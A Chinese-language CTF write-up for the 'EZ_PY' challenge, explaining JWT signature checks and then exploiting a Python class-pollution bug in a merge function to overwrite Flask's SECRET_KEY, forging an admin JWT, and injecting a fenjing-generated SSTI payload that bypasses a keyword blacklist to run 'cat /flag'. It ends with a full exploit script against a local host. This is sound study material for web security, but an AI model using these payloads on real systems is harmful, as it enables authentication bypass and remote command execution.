EZ_PY

前置知识

原型链污染

JWT验证

JWT(JSON Web Token)验证的核心是通过签名确保 Token 未被篡改,同时验证 Token 的合法性(有效期、签发者等),避免身份伪造。
核心验证原理
JWT 由Header.Payload.Signature三段式字符串组成,验证过程围绕这三部分展开,核心是 “签名校验” 和 “内容合法性校验”。

  1. 验证前的基础处理
    服务器接收 Token 后,先按.分割为 Header、Payload、Signature 三部分。
    对 Header 和 Payload 分别进行 Base64 解码(注意:Base64 是编码而非加密,可直接解码查看内容)。
  2. 核心:签名校验(防篡改关键)
    签名是 JWT 验证的核心,目的是确认 Token 内容未被修改,且来自合法签发者。
    服务器获取本地存储的密钥(如你之前提到的 SECRET_KEY,HS256 算法用对称密钥,RS256 用私钥签名、公钥验证)。
    按 Header 中指定的算法(如 HS256),用 “解码后的 Header + 解码后的 Payload + 密钥” 重新计算签名。
    将重新计算的签名,与 Token 中的 Signature 部分对比:
    若一致:说明 Token 内容未被篡改,且是用合法密钥签发的;
    若不一致:直接判定 Token 无效,拒绝访问。
  3. 辅助:Payload 合法性校验
    签名通过后,还需验证 Payload 中的核心字段(按需校验,非强制但必须配置):
    exp(过期时间):若当前时间超过 exp,Token 失效;
    nbf(生效时间):若当前时间未到 nbf,Token 暂不可用;
    iss(签发者):验证是否与服务器预期的签发者一致;
    aud(受众):验证 Token 是否是发给当前服务器的。

    复现

    获得token

    alt text
    查看首页源码 提示访问/source目录 给出了网页源代码
    重点查看merge函数 发现存在原型链污染
    payload :
    1
    2
    3
    4
    {"username":"123","password":"123",
    "__init__":{
    "__globals__":{"app":{"config":{"SECRET_KEY":"123"}}}}
    }
    alt text
    发生请求包 注册成功 此时用户123的token 就是用SECRET_KEY=123加密的
    登录获得token
    alt text
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6InVzZXIifQ.AJ5MXd3sVRPUTsUOUTiqaPSm0MFiLQnsaVGYPgrleJg

    token伪造

    现在已知key 因此jwt的payload可以随意伪造
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import jwt
    import time

    # 1. 定义 payload(要包含的信息,如用户名、过期时间等)
    payload ={
    "user":"123",
    "role":"admin"
    }

    # 2. 服务器的密钥(通过漏洞获取的 SECRET_KEY)
    secret_key = "123" # 例如通过变量污染拿到的密钥

    # 3. 生成 JWT(指定算法,如 HS256)
    fake_token = jwt.encode(
    payload=payload,
    key=secret_key,
    algorithm="HS256" # 必须与服务器使用的算法一致
    )

    print("Token:", fake_token)
    输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.7NOlZ6z7CpjuY8xEvrPvDR9wMfuiFh7-KT6t1Ux3yNQ
    访问/protected 说明成功伪造
    alt text

    注入代码 (绕过waf)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    @app.route("/protected", methods=["GET"])
    @token_required
    def protected(current_user, role):
    if role != "admin":
    return make_response(
    f"Access denied: User {current_user} ({role}) does not have sufficient privileges.",
    403,
    )
    filtered_user = waf_filter(current_user)
    return render_template_string(
    f"Hello, {filtered_user}! You have access to this protected resource."
    )
    注意到 源码此部分filtered_user 即username可以注入代码
    利用fenjing构造payload
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    from fenjing import exec_cmd_payload, config_payload
    import logging

    # 配置日志级别为INFO,用于输出工具运行信息
    logging.basicConfig(level=logging.INFO)

    def waf(s: str) -> bool:
    """
    模拟WAF过滤规则
    :param s: 待检测的字符串(生成的Payload)
    :return: 若字符串不包含黑名单内容则返回True,否则返回False
    """
    blacklist = [
    'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins',
    'import', 'eval', 'exec', 'open', 'file', 'read', 'write', 'os',
    'subprocess', 'config', 'request', 'session', 'g', 'url_for',
    'get_flashed_messages', '{%', '%}', '{#', '#}'
    ]
    # 检查字符串是否不包含任何黑名单关键词
    return all(word not in s for word in blacklist)

    # 生成执行"cat /flag"命令的Payload,需通过上述WAF过滤
    # 注释掉的是执行"ls /"的示例
    # shell_payload, _ = exec_cmd_payload(waf, "ls /")
    shell_payload, _ = exec_cmd_payload(waf, "cat /flag")

    # 替换Payload中的模板标记(注意:此操作可能导致Payload失效,仅为演示)
    shell_payload = shell_payload.replace("{{", "hello")
    shell_payload = shell_payload.replace("}}", "hacker")

    # 输出生成的最终Payload
    print(shell_payload)
    hello(_1919.eq[‘_’+’_’+’GLOBALS’.lower()+’_’+’_’].sys.modules[‘o’’s’]‘po’’pen’))‘r’’ead’hacker

再利用上面的token伪造 即可
alt text
这里贴出官方wp的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
import jwt
import json
from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level=logging.INFO)


def waf(s: str):
blacklist = [
'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins',
'import', 'eval',
'exec', 'open', 'file', 'read', 'write', 'os', 'subprocess', 'config',
'request',
'session', 'g', 'url_for', 'get_flashed_messages', '{%', '%}', '{#',
'#}'
]
return all(word not in s for word in blacklist)


# shell_payload, _ = exec_cmd_payload(waf, "ls /")
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
shell_payload = shell_payload.replace("{{", "hello")
shell_payload = shell_payload.replace("}}", "hacker")

HOST = "http://127.0.0.1:55237"
REGISTER_URL = f"{HOST}/register"
LOGIN_URL = f"{HOST}/login"
PROTECTED_URL = f"{HOST}/protected"


def exploit():
session = requests.Session()
register_payload = {
"username": "hacker",
"password": "123",
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "c1432"
}
}
}
}
}
reg_resp = session.post(REGISTER_URL, json=register_payload)
if reg_resp.status_code != 201:
print(f"注册失败: {reg_resp.status_code} - {reg_resp.text}")
return

login_data = {"username": "hacker", "password": "123"}
login_resp = session.post(LOGIN_URL, json=login_data)
if login_resp.status_code != 200:
print(f"登录失败: {login_resp.status_code}")
return

try:
token = login_resp.json().get("token")
except:
print("Token提取失败")
return

forged_token = jwt.encode(
{"user": shell_payload, "role": "admin"},
"c1432",
algorithm="HS256"
)
headers = {"Authorization": f"Bearer {forged_token}"}
protected_resp = session.get(PROTECTED_URL, headers=headers)

if "You have access to this protected resource" in protected_resp.text:
print(protected_resp.text)
else:
print(f"权限验证失败: {protected_resp.status_code}")
print(protected_resp.text)

print(f"shell_payload={shell_payload}")


if __name__ == "__main__":
exploit()